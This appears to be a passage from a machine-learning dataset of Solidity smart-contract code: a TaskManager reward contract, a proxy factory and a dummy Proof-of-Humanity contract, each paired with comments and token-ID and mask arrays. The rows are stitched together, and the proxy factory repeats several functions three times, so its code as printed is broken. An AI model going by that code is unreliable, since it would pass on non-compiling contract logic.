function bankrollerTable()
public
view
returns (address[], uint[])
{
return ledger.balances();
}
}
/*
This is a simple class that pays anybody to execute methods on
other contracts. The reward amounts are configurable by the Admin,
with some hard limits to prevent the Admin from pilfering. The
contract has a DailyLimit, so even if the Admin is compromised,
the contract cannot be drained.
TaskManager is Bankrollable, meaning it can accept bankroll from
the Treasury (and have it recalled). However, it will never generate
profits. On rare occasion, new funds will need to be added to ensure
rewards can be paid.
This class is divided into sections that pay rewards for a specific
contract or set of contracts. Any time a new contract is added to
the system that requires Tasks, this file will be updated and
redeployed.
*/
interface _IBankrollable {
function sendProfits() external returns (uint _profits);
function profits() external view returns (int _profits);
}
contract TaskManager is
HasDailyLimit,
Bankrollable,
UsingAdmin,
UsingMonarchyController
{
uint constant public version = 1;
uint public totalRewarded;
// Number of basis points to reward caller.
// 1 = .01%, 10 = .1%, 100 = 1%. Capped at .1%.
uint public issueDividendRewardBips;
// Number of basis points to reward caller.
// 1 = .01%, 10 = .1%, 100 = 1%. Capped at 1%.
uint public sendProfitsRewardBips;
// How much to pay for games to start and end.
// These values are capped at 1 Ether.
uint public monarchyStartReward;
uint public monarchyEndReward;
event Created(uint time);
event DailyLimitChanged(uint time, address indexed owner, uint newValue);
// admin events
event IssueDividendRewardChanged(uint time, address indexed admin, uint newValue);
event SendProfitsRewardChanged(uint time, address indexed admin, uint newValue);
event MonarchyRewardsChanged(uint time, address indexed admin, uint startReward, uint endReward);
// base events
event TaskError(uint time, address indexed caller, string msg);
event RewardSuccess(uint time, address indexed caller, uint reward);
event RewardFailure(uint time, address indexed caller, uint reward, string msg);
// task events
event IssueDividendSuccess(uint time, address indexed treasury, uint profitsSent);
event SendProfitsSuccess(uint time, address indexed bankrollable, uint profitsSent);
event MonarchyGameStarted(uint time, address indexed addr, uint initialPrize);
event MonarchyGamesRefreshed(uint time, uint numEnded, uint feesCollected);
// Construct sets the registry and instantiates inherited classes.
constructor(address _registry)
public
HasDailyLimit(1 ether)
Bankrollable(_registry)
UsingAdmin(_registry)
UsingMonarchyController(_registry)
{
emit Created(now);
}
///////////////////////////////////////////////////////////////////
////////// OWNER FUNCTIONS ////////////////////////////////////////
///////////////////////////////////////////////////////////////////
function setDailyLimit(uint _amount)
public
fromOwner
{
_setDailyLimit(_amount);
emit DailyLimitChanged(now, msg.sender, _amount);
}
///////////////////////////////////////////////////////////////////
////////// ADMIN FUNCTIONS ////////////////////////////////////////
///////////////////////////////////////////////////////////////////
function setIssueDividendReward(uint _bips)
public
fromAdmin
{
require(_bips <= 10);
issueDividendRewardBips = _bips;
emit IssueDividendRewardChanged(now, msg.sender, _bips);
}
function setSendProfitsReward(uint _bips)
public
fromAdmin
{
require(_bips <= 100);
sendProfitsRewardBips = _bips;
emit SendProfitsRewardChanged(now, msg.sender, _bips);
}
function setMonarchyRewards(uint _startReward, uint _endReward)
public
fromAdmin
{
require(_startReward <= 1 ether);
require(_endReward <= 1 ether);
monarchyStartReward = _startReward;
monarchyEndReward = _endReward;
emit MonarchyRewardsChanged(now, msg.sender, _startReward, _endReward);
}
///////////////////////////////////////////////////////////////////
////////// ISSUE DIVIDEND TASK ////////////////////////////////////
///////////////////////////////////////////////////////////////////
function doIssueDividend()
public
returns (uint _reward, uint _profits)
{
// get amount of profits
ITreasury _tr = getTreasury();
_profits = _tr.profitsSendable();
// quit if no profits to send.
if (_profits == 0) {
_taskError("No profits to send.");
return;
}
// call .issueDividend(), use return value to compute _reward
_profits = _tr.issueDividend();
if (_profits == 0) {
_taskError("No profits were sent.");
return;
} else {
emit IssueDividendSuccess(now, address(_tr), _profits);
}
// send reward
_reward = (_profits * issueDividendRewardBips) / 10000;
_sendReward(_reward);
}
// Returns reward and profits
function issueDividendReward()
public
view
returns (uint _reward, uint _profits)
{
_profits = getTreasury().profitsSendable();
_reward = _cappedReward((_profits * issueDividendRewardBips) / 10000);
}
///////////////////////////////////////////////////////////////////
////////// SEND PROFITS TASKS /////////////////////////////////////
///////////////////////////////////////////////////////////////////
function doSendProfits(address _bankrollable)
public
returns (uint _reward, uint _profits)
{
// Call .sendProfits(). Look for Treasury balance to change.
ITreasury _tr = getTreasury();
uint _oldTrBalance = address(_tr).balance;
_IBankrollable(_bankrollable).sendProfits();
uint _newTrBalance = address(_tr).balance;
// Quit if no profits. Otherwise compute profits.
if (_newTrBalance <= _oldTrBalance) {
_taskError("No profits were sent.");
return;
} else {
_profits = _newTrBalance - _oldTrBalance;
emit SendProfitsSuccess(now, _bankrollable, _profits);
}
// Cap reward to current balance (or send will fail)
_reward = (_profits * sendProfitsRewardBips) / 10000;
_sendReward(_reward);
}
// Returns an estimate of profits to send, and reward.
function sendProfitsReward(address _bankrollable)
public
view
returns (uint _reward, uint _profits)
{
int _p = _IBankrollable(_bankrollable).profits();
if (_p <= 0) return;
_profits = uint(_p);
_reward = _cappedReward((_profits * sendProfitsRewardBips) / 10000);
}
///////////////////////////////////////////////////////////////////
////////// MONARCHY TASKS /////////////////////////////////////////
///////////////////////////////////////////////////////////////////
// Try to start monarchy game, reward upon success.
function startMonarchyGame(uint _index)
public
{
// Don't bother trying if it's not startable
IMonarchyController _mc = getMonarchyController();
if (!_mc.getIsStartable(_index)){
_taskError("Game is not currently startable.");
return;
}
// Try to start the game. This may fail.
address _game = _mc.startDefinedGame(_index);
if (_game == address(0)) {
_taskError("MonarchyConroller.startDefinedGame() failed.");
return;
} else {
emit MonarchyGameStarted(now, _game, _mc.getInitialPrize(_index));
}
// Reward
_sendReward(monarchyStartReward);
}
// Return the _reward and _index of the first startable MonarchyGame
function startMonarchyGameReward()
public
view
returns (uint _reward, uint _index)
{
IMonarchyController _mc = getMonarchyController();
_index = _mc.getFirstStartableIndex();
if (_index > 0) _reward = _cappedReward(monarchyStartReward);
}
// Invoke .refreshGames() and pay reward on number of games ended.
function refreshMonarchyGames()
public
{
// do the call
uint _numGamesEnded;
uint _feesCollected;
(_numGamesEnded, _feesCollected) = getMonarchyController().refreshGames();
emit MonarchyGamesRefreshed(now, _numGamesEnded, _feesCollected);
if (_numGamesEnded == 0) {
_taskError("No games ended.");
} else {
_sendReward(_numGamesEnded * monarchyEndReward);
}
}
// Return a reward for each MonarchyGame that will end
function refreshMonarchyGamesReward()
public
view
returns (uint _reward, uint _numEndable)
{
IMonarchyController _mc = getMonarchyController();
_numEndable = _mc.getNumEndableGames();
_reward = _cappedReward(_numEndable * monarchyEndReward);
}
///////////////////////////////////////////////////////////////////////
/////////////////// PRIVATE FUNCTIONS /////////////////////////////////
///////////////////////////////////////////////////////////////////////
// Called when task is unable to execute.
function _taskError(string _msg) private {
emit TaskError(now, msg.sender, _msg);
}
// Sends a capped amount of _reward to the msg.sender, and emits proper event.
function _sendReward(uint _reward) private {
// Limit the reward to balance or dailyLimitRemaining
uint _amount = _cappedReward(_reward);
if (_reward > 0 && _amount == 0) {
emit RewardFailure(now, msg.sender, _amount, "Not enough funds, or daily limit reached.");
return;
}
// Attempt to send it (even if _reward was 0)
if (msg.sender.call.value(_amount)()) {
_useFromDailyLimit(_amount);
totalRewarded += _amount;
emit RewardSuccess(now, msg.sender, _amount);
} else {
emit RewardFailure(now, msg.sender, _amount, "Reward rejected by recipient (out of gas, or revert).");
}
}
// This caps the reward amount to the minimum of (reward, balance, dailyLimitRemaining)
function _cappedReward(uint _reward) private view returns (uint) {
uint _balance = address(this).balance;
uint _remaining = getDailyLimitRemaining();
if (_reward > _balance) _reward = _balance;
if (_reward > _remaining) _reward = _remaining;
return _reward;
}
// IMPLEMENT BANKROLLABLE FUNCTIONS
function getCollateral() public view returns (uint) {}
function getWhitelistOwner() public view returns (address){ return getAdmin(); }
}
| *****************************************************/************** PUBLIC VIEWS *************************/*****************************************************/ Loop once to get the total count. | {
Entry memory _curEntry = entries[0x0];
function add(address _address)
fromOwner
public
returns (bool _didCreate)
}
function remove(address _address)
fromOwner
public
returns (bool _didExist)
}
function size()
public
view
returns (uint _size)
while (_curEntry.next > 0) {
_curEntry = entries[_curEntry.next];
_size++;
}
return _size;
}
| 1,071,751 | [
1,
19,
17187,
776,
8732,
2651,
368,
9720,
3647,
358,
336,
326,
2078,
1056,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
288,
203,
3639,
3841,
3778,
389,
1397,
1622,
273,
3222,
63,
20,
92,
20,
15533,
203,
565,
445,
527,
12,
2867,
389,
2867,
13,
203,
3639,
628,
5541,
203,
3639,
1071,
203,
3639,
1135,
261,
6430,
389,
14044,
1684,
13,
203,
565,
289,
203,
203,
565,
445,
1206,
12,
2867,
389,
2867,
13,
203,
3639,
628,
5541,
203,
3639,
1071,
203,
3639,
1135,
261,
6430,
389,
14044,
4786,
13,
203,
565,
289,
203,
203,
203,
203,
565,
445,
963,
1435,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
389,
1467,
13,
203,
3639,
1323,
261,
67,
1397,
1622,
18,
4285,
405,
374,
13,
288,
203,
5411,
389,
1397,
1622,
273,
3222,
63,
67,
1397,
1622,
18,
4285,
15533,
203,
5411,
389,
1467,
9904,
31,
203,
3639,
289,
203,
3639,
327,
389,
1467,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xFCE1c68E7414605fF1f97D197D6Ba05a6d232311/sources/cache/solpp-generated-contracts/upgradeable/CreateProxyFactory.sol | Renamed from ProxyFactory because of name clash with Typechain | contract CreateProxyFactory {
event ProxyCreated(address proxy);
bytes32 private contractCodeHash;
constructor() public {
contractCodeHash = keccak256(
type(InitializableAdminUpgradeabilityProxy).creationCode
);
}
function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) {
bytes20 targetBytes = bytes20(_logic);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
proxy := create(0, clone, 0x37)
}
emit ProxyCreated(address(proxy));
if(_data.length > 0) {
(bool success,) = proxy.call(_data);
require(success);
}
}
function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) {
bytes20 targetBytes = bytes20(_logic);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
proxy := create(0, clone, 0x37)
}
emit ProxyCreated(address(proxy));
if(_data.length > 0) {
(bool success,) = proxy.call(_data);
require(success);
}
}
function deployMinimal(address _logic, bytes memory _data) public returns (address proxy) {
bytes20 targetBytes = bytes20(_logic);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
proxy := create(0, clone, 0x37)
}
emit ProxyCreated(address(proxy));
if(_data.length > 0) {
(bool success,) = proxy.call(_data);
require(success);
}
}
function deploy(uint256 _salt, address _logic, address _admin, bytes memory _data) public returns (address) {
return _deployProxy(_salt, _logic, _admin, _data, msg.sender);
}
function deploySigned(uint256 _salt, address _logic, address _admin, bytes memory _data, bytes memory _signature) public returns (address) {
address signer = getSigner(_salt, _logic, _admin, _data, _signature);
require(signer != address(0), "Invalid signature");
return _deployProxy(_salt, _logic, _admin, _data, signer);
}
function getDeploymentAddress(uint256 _salt, address _sender) public view returns (address) {
bytes32 salt = _getSalt(_salt, _sender);
bytes32 rawAddress = keccak256(
abi.encodePacked(
bytes1(0xff),
address(this),
salt,
contractCodeHash
)
);
return address(bytes20(rawAddress << 96));
}
function getSigner(uint256 _salt, address _logic, address _admin, bytes memory _data, bytes memory _signature) public view returns (address) {
bytes32 msgHash = OpenZeppelinUpgradesECDSA.toEthSignedMessageHash(
keccak256(
abi.encodePacked(
_salt, _logic, _admin, _data, address(this)
)
)
);
return OpenZeppelinUpgradesECDSA.recover(msgHash, _signature);
}
function _deployProxy(uint256 _salt, address _logic, address _admin, bytes memory _data, address _sender) internal returns (address) {
InitializableAdminUpgradeabilityProxy proxy = _createProxy(_salt, _sender);
emit ProxyCreated(address(proxy));
proxy.initialize(_logic, _admin, _data);
return address(proxy);
}
function _createProxy(uint256 _salt, address _sender) internal returns (InitializableAdminUpgradeabilityProxy) {
address payable addr;
bytes memory code = type(InitializableAdminUpgradeabilityProxy).creationCode;
bytes32 salt = _getSalt(_salt, _sender);
assembly {
addr := create2(0, add(code, 0x20), mload(code), salt)
if iszero(extcodesize(addr)) {
revert(0, 0)
}
}
return InitializableAdminUpgradeabilityProxy(addr);
}
function _createProxy(uint256 _salt, address _sender) internal returns (InitializableAdminUpgradeabilityProxy) {
address payable addr;
bytes memory code = type(InitializableAdminUpgradeabilityProxy).creationCode;
bytes32 salt = _getSalt(_salt, _sender);
assembly {
addr := create2(0, add(code, 0x20), mload(code), salt)
if iszero(extcodesize(addr)) {
revert(0, 0)
}
}
return InitializableAdminUpgradeabilityProxy(addr);
}
function _createProxy(uint256 _salt, address _sender) internal returns (InitializableAdminUpgradeabilityProxy) {
address payable addr;
bytes memory code = type(InitializableAdminUpgradeabilityProxy).creationCode;
bytes32 salt = _getSalt(_salt, _sender);
assembly {
addr := create2(0, add(code, 0x20), mload(code), salt)
if iszero(extcodesize(addr)) {
revert(0, 0)
}
}
return InitializableAdminUpgradeabilityProxy(addr);
}
function _getSalt(uint256 _salt, address _sender) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_salt, _sender));
}
} | 16,064,849 | [
1,
16290,
2808,
628,
7659,
1733,
2724,
434,
508,
927,
961,
598,
1412,
5639,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
1788,
3886,
1733,
288,
203,
21281,
225,
871,
7659,
6119,
12,
2867,
2889,
1769,
203,
203,
225,
1731,
1578,
3238,
6835,
1085,
2310,
31,
203,
203,
225,
3885,
1435,
1071,
288,
203,
565,
6835,
1085,
2310,
273,
417,
24410,
581,
5034,
12,
203,
1377,
618,
12,
4435,
6934,
4446,
10784,
2967,
3886,
2934,
17169,
1085,
203,
565,
11272,
203,
225,
289,
203,
203,
225,
445,
7286,
2930,
2840,
12,
2867,
389,
28339,
16,
1731,
3778,
389,
892,
13,
1071,
1135,
261,
2867,
2889,
13,
288,
203,
565,
1731,
3462,
1018,
2160,
273,
1731,
3462,
24899,
28339,
1769,
203,
565,
19931,
288,
203,
1377,
2231,
3236,
519,
312,
945,
12,
20,
92,
7132,
13,
203,
1377,
312,
2233,
12,
14056,
16,
374,
92,
23,
72,
26,
3103,
72,
3672,
28133,
69,
23,
72,
5520,
11861,
74,
3707,
4449,
72,
23,
72,
6418,
23,
72,
23,
72,
23,
72,
23,
4449,
72,
9036,
12648,
12648,
12648,
13,
203,
1377,
312,
2233,
12,
1289,
12,
14056,
16,
374,
92,
3461,
3631,
1018,
2160,
13,
203,
1377,
312,
2233,
12,
1289,
12,
14056,
16,
374,
92,
6030,
3631,
374,
92,
25,
1727,
8942,
72,
11149,
3672,
23,
73,
29,
4630,
72,
29,
2313,
3103,
70,
10321,
8313,
25,
17156,
23,
12648,
12648,
12648,
2787,
9449,
13,
203,
1377,
2889,
519,
752,
12,
20,
16,
3236,
16,
374,
92,
6418,
13,
203,
565,
289,
203,
377,
203,
565,
3626,
7659,
6119,
12,
2867,
12,
5656,
10019,
203,
203,
565,
309,
24899,
892,
18,
2469,
405,
374,
13,
288,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "./IProofOfHumanity.sol";
import "./IUBI.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract DummyProofOfHumanity is IProofOfHumanity, ERC20 {
address _governor;
IUBI _ubi;
mapping(address => SubmissionInfo) _submissions;
mapping(address => bool) _registrants;
/** @dev Constructor.
*/
constructor(address governor, address ubi) ERC20("Universal Basic Income", "UBI") {
_governor = governor;
_ubi = IUBI(ubi);
}
//constructor(IProofOfHumanity _PoH) virtual;
/** @dev Changes the address of the the governor.
* @param governor The address of the new governor.
*/
function changeGovernor(address governor) external { _governor = governor; }
/** @dev Returns true if the submission is registered and not expired.
* @param submissionID The address of the submission.
* @return Whether the submission is registered or not.
*/
function isRegistered(address submissionID) public override view returns (bool) {
return _registrants[submissionID];
}
function register(address submissionID) public {
// Dummy contracts assigns free ERC20
_ubi.mint(submissionID, 1000*(10**18));
_registrants[submissionID] = true;
_submissions[submissionID] = IProofOfHumanity.SubmissionInfo({
status: 0,
submissionTime: block.timestamp,
index: 106,
registered: true,
hasVouched: true,
numberOfRequests: 1
});
}
function submissionCounter() external override pure returns(uint) { return 0; }
function getSubmissionInfo(address submissionID) external override view returns (SubmissionInfo memory) {
return _submissions[submissionID];
}
// // /** @dev Returns the balance of a particular submission of the ProofOfHumanity contract.
// // * Note that this function takes the expiration date into account.
// // * @param _submissionID The address of the submission.
// // * @return The balance of the submission.
// // */
// function balanceOf(address _submissionID) external override view returns (uint256) {
// return _poh.balanceOf(_submissionID);
// }
// // /** @dev Returns the count of all submissions that made a registration request at some point, including those that were added manually.
// // * Note that with the current implementation of ProofOfHumanity it'd be very costly to count only the submissions that are currently registered.
// // * @return The total count of submissions.
// // */
// function totalSupply() external override view returns (uint256) {
// return _poh.totalSupply();
// }
// function transfer(address _recipient, uint256 _amount) external override returns (bool) { return _poh.transfer(_recipient, _amount); }
// function allowance(address _owner, address _spender) external override view returns (uint256) { return _poh.allowance(_owner, _spender); }
// function approve(address _spender, uint256 _amount) external override returns (bool) { return _poh.approve(_spender, _amount); }
// function transferFrom(address _sender, address _recipient, uint256 _amount) external override returns (bool) { return _poh.transferFrom(_sender, _recipient, _amount); }
} | * @dev Constructor./ | constructor(address governor, address ubi) ERC20("Universal Basic Income", "UBI") {
_governor = governor;
_ubi = IUBI(ubi);
}
| 5,527,554 | [
1,
6293,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
3885,
12,
2867,
314,
1643,
29561,
16,
1758,
13910,
77,
13,
4232,
39,
3462,
2932,
984,
14651,
7651,
657,
5624,
3113,
315,
3457,
45,
7923,
288,
203,
3639,
389,
75,
1643,
29561,
273,
314,
1643,
29561,
31,
203,
3639,
389,
30753,
273,
467,
3457,
45,
12,
30753,
1769,
203,
565,
289,
203,
377,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-30
*/
// Verified using https://dapp.tools
// hevm: flattened sources of src/adapters/UniswapAdapter.sol
// SPDX-License-Identifier: MIT AND GPL-3.0-or-later
pragma solidity =0.8.11 >=0.8.0 <0.9.0 >=0.8.1 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
